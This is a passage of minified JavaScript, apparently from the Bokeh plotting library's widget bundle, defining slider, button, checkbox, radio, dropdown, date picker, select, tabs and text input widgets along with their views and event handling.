i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"AbstractSlider\\\",this.define({title:[r.String,\\\"\\\"],show_value:[r.Bool,!0],start:[r.Any],end:[r.Any],value:[r.Any],step:[r.Number,1],format:[r.String],orientation:[r.Orientation,\\\"horizontal\\\"],direction:[r.Any,\\\"ltr\\\"],tooltips:[r.Boolean,!0],callback:[r.Instance],callback_throttle:[r.Number,200],callback_policy:[r.String,\\\"throttle\\\"],bar_color:[r.Color,\\\"#e6e6e6\\\"]})},t.prototype._formatter=function(t,e){return\\\"\\\"+t},t.prototype.pretty=function(t){return this._formatter(t,this.format)},t}(o.Widget);(n.AbstractSlider=a).initClass()},404:function(t,e,n){var i=t(391),r=t(428),s=t(5),o=t(400),a=t(15),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),o.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;n.prototype.render.call(this),this.inputEl.classList.add(\\\"bk-autocomplete-input\\\"),this.inputEl.addEventListener(\\\"keydown\\\",function(t){return e._keydown(t)}),this.inputEl.addEventListener(\\\"keyup\\\",function(t){return e._keyup(t)}),this.menuEl=s.ul({class:\\\"bk-bs-dropdown-menu\\\"}),this.menuEl.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),this.el.appendChild(this.menuEl)},t.prototype._render_items=function(t){s.empty(this.menuEl);for(var e=0,n=t;e<n.length;e++){var i=n[e],r=s.li({},s.a({data:{text:i}},i));this.menuEl.appendChild(r)}},t.prototype._open_menu=function(){this.el.classList.add(\\\"bk-bs-open\\\")},t.prototype._clear_menu=function(){this.el.classList.remove(\\\"bk-bs-open\\\")},t.prototype._item_click=function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=e.dataset.text;this.model.value=n}},t.prototype._keydown=function(t){},t.prototype._keyup=function(t){switch(t.keyCode){case s.Keys.Enter:console.log(\\\"enter\\\");break;case s.Keys.Esc:this._clear_menu();break;case s.Keys.Up:case s.Keys.Down:console.log(\\\"up/down\\\");break;default:var e=this.inputEl.value;if(e.length<=1)return void this._clear_menu();for(var n=[],i=0,r=this.model.completions;i<r.length;i++){var o=r[i];-1!=o.indexOf(e)&&n.push(o)}0==n.length?this._clear_menu():(this._render_items(n),this._open_menu())}},t}(r.TextInputView);n.AutocompleteInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AutocompleteInput\\\",this.prototype.default_view=l,this.define({completions:[a.Array,[]]}),this.internal({active:[a.Boolean,!0]})},t}(r.TextInput);(n.AutocompleteInput=u).initClass()},405:function(t,e,n){var i=t(391),r=t(15),o=t(3),s=t(401),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){this.model.trigger_event(new o.ButtonClick({})),this.model.clicks=this.model.clicks+1,t.prototype.change_input.call(this)},e}(s.AbstractButtonView);n.ButtonView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Button\\\",this.prototype.default_view=a,this.define({clicks:[r.Number,0]}),o.register_with_event(o.ButtonClick,this)},t}(s.AbstractButton);(n.Button=l).initClass()},406:function(t,e,n){var i=t(391),l=t(5),r=t(15),u=t(21),o=t(440),s=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var i=this;n.prototype.render.call(this),l.empty(this.el);var r=l.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(r);for(var o=this.model.active,s=this.model.labels,t=function(t){var e=l.input({type:\\\"checkbox\\\",value:\\\"\\\"+t,checked:t in o});e.addEventListener(\\\"change\\\",function(){return i.model.change_input(t)});var n=l.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+a.model.button_type]},e,s[t]);u.includes(o,t)&&n.classList.add(\\\"bk-bs-active\\\"),r.appendChild(n)},a=this,e=0;e<s.length;e++)t(e)},t}(o.WidgetView);n.CheckboxButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.prototype.change_input=function(e){var t=u.copy(this.active);u.includes(t,e)?u.removeBy(t,function(t){return e==t}):t.push(e),t.sort(),this.active=t,null!=this.callback&&this.callback.execute(this)},t.initClass=function(){this.prototype.type=\\\"CheckboxButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxButtonGroup=a).initClass()},407:function(t,e,n){var i=t(391),u=t(5),r=t(15),c=t(21),o=t(440),s=function(l){function t(){return null!==l&&l.apply(this,arguments)||this}return i.__extends(t,l),t.prototype.initialize=function(t){l.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;l.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;l.prototype.render.call(this),u.empty(this.el);for(var e=this.model.active,n=this.model.labels,i=0;i<n.length;i++){var r=n[i],o=u.input({type:\\\"checkbox\\\",value:\\\"\\\"+i});o.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(o.disabled=!0),c.includes(e,i)&&(o.checked=!0);var s=u.label({},o,r);if(this.model.inline)s.classList.add(\\\"bk-bs-checkbox-inline\\\"),this.el.appendChild(s);else{var a=u.div({class:\\\"bk-bs-checkbox\\\"},s);this.el.appendChild(a)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e,null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.CheckboxGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxGroup=a).initClass()},408:function(t,e,n){var i=t(391),r=t(414),o=t(5),s=t(15),a=t(432);a.prototype.adjustPosition=function(){if(!this._o.container){this.el.style.position=\\\"absolute\\\";var t=this._o.trigger,e=this.el.offsetWidth,n=this.el.offsetHeight,i=window.innerWidth||document.documentElement.clientWidth,r=window.innerHeight||document.documentElement.clientHeight,o=window.pageYOffset||document.body.scrollTop||document.documentElement.scrollTop,s=t.getBoundingClientRect(),a=s.left+window.pageXOffset,l=s.bottom+window.pageYOffset;a-=this.el.parentElement.offsetLeft,l-=this.el.parentElement.offsetTop,(this._o.reposition&&i<a+e||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-e+t.offsetWidth)&&(a=a-e+t.offsetWidth),(this._o.reposition&&r+o<l+n||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-n-t.offsetHeight)&&(l=l-n-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}};var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},e.prototype.render=function(){var e=this;t.prototype.render.call(this),null!=this._picker&&this._picker.destroy(),o.empty(this.el),this.labelEl=o.label({},this.model.title),this.el.appendChild(this.labelEl),this.inputEl=o.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",disabled:this.model.disabled}),this.el.appendChild(this.inputEl),this._picker=new a({field:this.inputEl,defaultDate:new Date(this.model.value),setDefaultDate:!0,minDate:null!=this.model.min_date?new Date(this.model.min_date):void 0,maxDate:null!=this.model.max_date?new Date(this.model.max_date):void 0,onSelect:function(t){return e._on_select(t)}}),this._root_element.appendChild(this._picker.el)},e.prototype._on_select=function(t){this.model.value=t.toDateString(),this.change_input()},e}(r.InputWidgetView);n.DatePickerView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatePicker\\\",this.prototype.default_view=l,this.define({value:[s.Any,(new Date).toDateString()],min_date:[s.Any],max_date:[s.Any]})},t}(r.InputWidget);(n.DatePicker=u).initClass()},409:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.DateRangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateRangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateRangeSlider=a).initClass()},410:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return e},e}(o.AbstractSliderView);n.DateSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateSlider=a).initClass()},411:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.div();this.model.render_as_text?t.textContent=this.model.text:t.innerHTML=this.model.text,this.markupEl.appendChild(t)},t}(r.MarkupView);n.DivView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Div\\\",this.prototype.default_view=a,this.define({render_as_text:[s.Bool,!1]})},t}(r.Markup);(n.Div=l).initClass()},412:function(t,e,n){var i=t(391),h=t(5),r=t(400),o=t(15),s=t(401),a=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),r.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;if(d.prototype.render.call(this),this.model.is_split_button){this.el.classList.add(\\\"bk-bs-btn-group\\\");var t=this._render_button(h.span({class:\\\"bk-bs-caret\\\"}));t.classList.add(\\\"bk-bs-dropdown-toggle\\\"),t.addEventListener(\\\"click\\\",function(t){return e._caret_click(t)}),this.el.appendChild(t)}else this.el.classList.add(\\\"bk-bs-dropdown\\\"),this.buttonEl.classList.add(\\\"bk-bs-dropdown-toggle\\\"),this.buttonEl.appendChild(h.span({class:\\\"bk-bs-caret\\\"}));this.model.active&&this.el.classList.add(\\\"bk-bs-open\\\");for(var n=[],i=0,r=this.model.menu;i<r.length;i++){var o=r[i],s=void 0;if(null!=o){var a=o[0],l=o[1],u=h.a({},a);u.dataset.value=l,u.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),s=h.li({},u)}else s=h.li({class:\\\"bk-bs-divider\\\"});n.push(s)}var c=h.ul({class:\\\"bk-bs-dropdown-menu\\\"},n);this.el.appendChild(c)},t.prototype._clear_menu=function(){this.model.active=!1},t.prototype._toggle_menu=function(){var t=this.model.active;r.clear_menus.emit(),t||(this.model.active=!0)},t.prototype._button_click=function(t){t.preventDefault(),t.stopPropagation(),this.model.is_split_button?(this._clear_menu(),this.set_value(this.model.default_value)):this._toggle_menu()},t.prototype._caret_click=function(t){t.preventDefault(),t.stopPropagation(),this._toggle_menu()},t.prototype._item_click=function(t){t.preventDefault(),this._clear_menu(),this.set_value(t.currentTarget.dataset.value)},t.prototype.set_value=function(t){this.buttonEl.value=this.model.value=t,this.change_input()},t}(s.AbstractButtonView);n.DropdownView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dropdown\\\",this.prototype.default_view=a,this.define({value:[o.String],default_value:[o.String],menu:[o.Array,[]]}),this.override({label:\\\"Dropdown\\\"}),this.internal({active:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"is_split_button\\\",{get:function(){return null!=this.default_value},enumerable:!0,configurable:!0}),t}(s.AbstractButton);(n.Dropdown=l).initClass()},413:function(t,e,n){var i=t(401);n.AbstractButton=i.AbstractButton;var r=t(402);n.AbstractIcon=r.AbstractIcon;var o=t(404);n.AutocompleteInput=o.AutocompleteInput;var s=t(405);n.Button=s.Button;var a=t(406);n.CheckboxButtonGroup=a.CheckboxButtonGroup;var l=t(407);n.CheckboxGroup=l.CheckboxGroup;var u=t(408);n.DatePicker=u.DatePicker;var c=t(409);n.DateRangeSlider=c.DateRangeSlider;var d=t(410);n.DateSlider=d.DateSlider;var h=t(411);n.Div=h.Div;var p=t(412);n.Dropdown=p.Dropdown;var f=t(414);n.InputWidget=f.InputWidget;var m=t(416);n.Markup=m.Markup;var v=t(417);n.MultiSelect=v.MultiSelect;var g=t(418);n.Panel=g.Panel;var y=t(419);n.Paragraph=y.Paragraph;var b=t(420);n.PasswordInput=b.PasswordInput;var _=t(421);n.PreText=_.PreText;var w=t(422);n.RadioButtonGroup=w.RadioButtonGroup;var x=t(423);n.RadioGroup=x.RadioGroup;var k=t(424);n.RangeSlider=k.RangeSlider;var S=t(425);n.Select=S.Select;var C=t(426);n.Slider=C.Slider;var E=t(427);n.Tabs=E.Tabs;var D=t(428);n.TextInput=D.TextInput;var M=t(429);n.Toggle=M.Toggle;var A=t(440);n.Widget=A.Widget},414:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},e}(r.WidgetView);n.InputWidgetView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"InputWidget\\\",this.prototype.default_view=s,this.define({title:[o.String,\\\"\\\"],callback:[o.Instance]})},t}(r.Widget);(n.InputWidget=a).initClass()},415:function(t,e,n){var i=t(413);n.Widgets=i;var r=t(0);r.register_models(i)},416:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(440),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){e.prototype.render.call(this),o.empty(this.el);var t=i.__assign({width:this.model.width+\\\"px\\\",height:this.model.height+\\\"px\\\"},this.model.style);this.markupEl=o.div({style:t}),this.el.appendChild(this.markupEl)},t}(s.WidgetView);n.MarkupView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Markup\\\",this.define({text:[r.String,\\\"\\\"],style:[r.Any,{}]})},t}(s.Widget);(n.Markup=l).initClass()},417:function(t,e,n){var i=t(391),r=t(5),s=t(44),a=t(29),o=t(15),l=t(414),u=function(o){function t(){return null!==o&&o.apply(this,arguments)||this}return i.__extends(t,o),t.prototype.initialize=function(t){o.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;o.prototype.connect_signals.call(this),this.connect(this.model.properties.value.change,function(){return t.render_selection()}),this.connect(this.model.properties.options.change,function(){return t.render()}),this.connect(this.model.properties.name.change,function(){return t.render()}),this.connect(this.model.properties.title.change,function(){return t.render()}),this.connect(this.model.properties.size.change,function(){return t.render()}),this.connect(this.model.properties.disabled.change,function(){return t.render()})},t.prototype.render=function(){var t=this;o.prototype.render.call(this),r.empty(this.el);var e=r.label({for:this.model.id},this.model.title);this.el.appendChild(e);var n=this.model.options.map(function(t){var e,n;return s.isString(t)?e=n=t:(e=t[0],n=t[1]),r.option({value:e},n)});this.selectEl=r.select({multiple:!0,class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},n),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl),this.render_selection()},t.prototype.render_selection=function(){for(var t=new a.Set(this.model.value),e=0,n=Array.from(this.el.querySelectorAll(\\\"option\\\"));e<n.length;e++){var i=n[e];i.selected=t.has(i.value)}this.selectEl.size=this.model.size},t.prototype.change_input=function(){for(var t=null!=this.el.querySelector(\\\"select:focus\\\"),e=[],n=0,i=Array.from(this.el.querySelectorAll(\\\"option\\\"));n<i.length;n++){var r=i[n];r.selected&&e.push(r.value)}this.model.value=e,o.prototype.change_input.call(this),t&&this.selectEl.focus()},t}(l.InputWidgetView);n.MultiSelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiSelect\\\",this.prototype.default_view=u,this.define({value:[o.Array,[]],options:[o.Array,[]],size:[o.Number,4]})},t}(l.InputWidget);(n.MultiSelect=c).initClass()},418:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=t(5),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),s.empty(this.el)},e}(r.WidgetView);n.PanelView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Panel\\\",this.prototype.default_view=a,this.define({title:[o.String,\\\"\\\"],child:[o.Instance],closable:[o.Bool,!1]})},t}(r.Widget);(n.Panel=l).initClass()},419:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.p({style:{margin:0}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.ParagraphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Paragraph\\\",this.prototype.default_view=s},t}(r.Markup);(n.Paragraph=a).initClass()},420:function(t,e,n){var i=t(391),r=t(428),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.inputEl.type=\\\"password\\\"},e}(r.TextInputView);n.PasswordInputView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PasswordInput\\\",this.prototype.default_view=o},t}(r.TextInput);(n.PasswordInput=s).initClass()},421:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.pre({style:{overflow:\\\"auto\\\"}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.PreTextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PreText\\\",this.prototype.default_view=s},t}(r.Markup);(n.PreText=a).initClass()},422:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);var e=c.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(e);for(var n=d.uniqueId(),i=this.model.active,r=this.model.labels,o=0;o<r.length;o++){var s=r[o],a=c.input({type:\\\"radio\\\",name:n,value:\\\"\\\"+o,checked:o==i});a.addEventListener(\\\"change\\\",function(){return t.change_input()});var l=c.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]},a,s);o==i&&l.classList.add(\\\"bk-bs-active\\\"),e.appendChild(l)}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.RadioButtonGroup=a).initClass()},423:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);for(var e=d.uniqueId(),n=this.model.active,i=this.model.labels,r=0;r<i.length;r++){var o=i[r],s=c.input({type:\\\"radio\\\",name:e,value:\\\"\\\"+r});s.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(s.disabled=!0),r==n&&(s.checked=!0);var a=c.label({},s,o);if(this.model.inline)a.classList.add(\\\"bk-bs-radio-inline\\\"),this.el.appendChild(a);else{var l=c.div({class:\\\"bk-bs-radio\\\"},a);this.el.appendChild(l)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.RadioGroup=a).initClass()},424:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.RangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"RangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.RangeSlider=a).initClass()},425:function(t,e,n){var i=t(391),a=t(5),l=t(44),r=t(14),o=t(15),s=t(414),u=function(s){function t(){return null!==s&&s.apply(this,arguments)||this}return i.__extends(t,s),t.prototype.initialize=function(t){s.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;s.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.build_options=function(t){var r=this;return t.map(function(t){var e,n;l.isString(t)?e=n=t:(e=t[0],n=t[1]);var i=r.model.value==e;return a.option({selected:i,value:e},n)})},t.prototype.render=function(){var t=this;s.prototype.render.call(this),a.empty(this.el);var e,n=a.label({for:this.model.id},this.model.title);if(this.el.appendChild(n),l.isArray(this.model.options))e=this.build_options(this.model.options);else{e=[];var i=this.model.options;for(var r in i){var o=i[r];e.push(a.optgroup({label:r},this.build_options(o)))}}this.selectEl=a.select({class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},e),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl)},t.prototype.change_input=function(){var t=this.selectEl.value;r.logger.debug(\\\"selectbox: value = \\\"+t),this.model.value=t,s.prototype.change_input.call(this)},t}(s.InputWidgetView);n.SelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Select\\\",this.prototype.default_view=u,this.define({value:[o.String,\\\"\\\"],options:[o.Any,[]]})},t}(s.InputWidget);(n.Select=c).initClass()},426:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return Number.isInteger(this.model.start)&&Number.isInteger(this.model.end)&&Number.isInteger(this.model.step)?Math.round(e):e},e}(o.AbstractSliderView);n.SliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"Slider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.Slider=a).initClass()},427:function(t,e,n){var i=t(391),h=t(5),p=t(21),r=t(15),o=t(440),s=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.model.properties.tabs.change,function(){return t.rebuild_child_views()}),this.connect(this.model.properties.active.change,function(){return t.render()})},t.prototype.render=function(){var r=this;d.prototype.render.call(this),h.empty(this.el);var t=this.model.tabs.length;if(0!=t){this.model.active>=t&&(this.model.active=t-1);var o=this.model.tabs.map(function(t,e){return h.li({},h.span({data:{index:e}},t.title))});o[this.model.active].classList.add(\\\"bk-bs-active\\\");var e=h.ul({class:[\\\"bk-bs-nav\\\",\\\"bk-bs-nav-tabs\\\"]},o);this.el.appendChild(e);var s=this.model.tabs.map(function(t){return h.div({class:\\\"bk-bs-tab-pane\\\"})});s[this.model.active].classList.add(\\\"bk-bs-active\\\");var n=h.div({class:\\\"bk-bs-tab-content\\\"},s);this.el.appendChild(n),e.addEventListener(\\\"click\\\",function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=r.model.active,i=parseInt(e.dataset.index);n!=i&&(o[n].classList.remove(\\\"bk-bs-active\\\"),s[n].classList.remove(\\\"bk-bs-active\\\"),o[i].classList.add(\\\"bk-bs-active\\\"),s[i].classList.add(\\\"bk-bs-active\\\"),r.model.active=i,null!=r.model.callback&&r.model.callback.execute(r.model))}});for(var i=0,a=p.zip(this.model.children,s);i<a.length;i++){var l=a[i],u=l[0],c=l[1];c.appendChild(this.child_views[u.id].el)}}},t}(o.WidgetView);n.TabsView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tabs\\\",this.prototype.default_view=s,this.define({tabs:[r.Array,[]],active:[r.Number,0],callback:[r.Instance]})},t.prototype.get_layoutable_children=function(){return this.children},Object.defineProperty(t.prototype,\\\"children\\\",{get:function(){return this.tabs.map(function(t){return t.child})},enumerable:!0,configurable:!0}),t}(o.Widget);(n.Tabs=a).initClass()},428:function(t,e,n){var i=t(391),r=t(14),o=t(15),s=t(5),a=t(414),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.css_classes=function(){return n.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},t.prototype.render=function(){var t=this;n.prototype.render.call(this),s.empty(this.el);var e=s.label({for:this.model.id},this.model.title);this.el.appendChild(e),this.inputEl=s.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,value:this.model.value,disabled:this.model.disabled,placeholder:this.model.placeholder}),this.inputEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.inputEl),this.model.height&&(this.inputEl.style.height=this.model.height-35+\\\"px\\\")},t.prototype.change_input=function(){var t=this.inputEl.value;r.logger.debug(\\\"widget/text_input: value = \\\"+t),this.model.value=t,n.prototype.change_input.call(this)},t}(a.InputWidgetView);n.TextInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextInput\\\",this.prototype.default_view=l,this.define({value:[o.String,\\\"\\\"],placeholder:[o.String,\\\"\\\"]})},t}(a.InputWidget);(n.TextInput=u).initClass()},429:function(t,e,n){var i=t(391),r=t(401),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active&&this.buttonEl.classList.add(\\\"bk-bs-active\\\")},e.prototype.change_input=function(){this.model.active=!this.model.active,t.prototype.change_input.call(this)},e}(r.AbstractButtonView);n.ToggleView=s;var a=function(e){function t(t){return e.call(this,t)||this}return 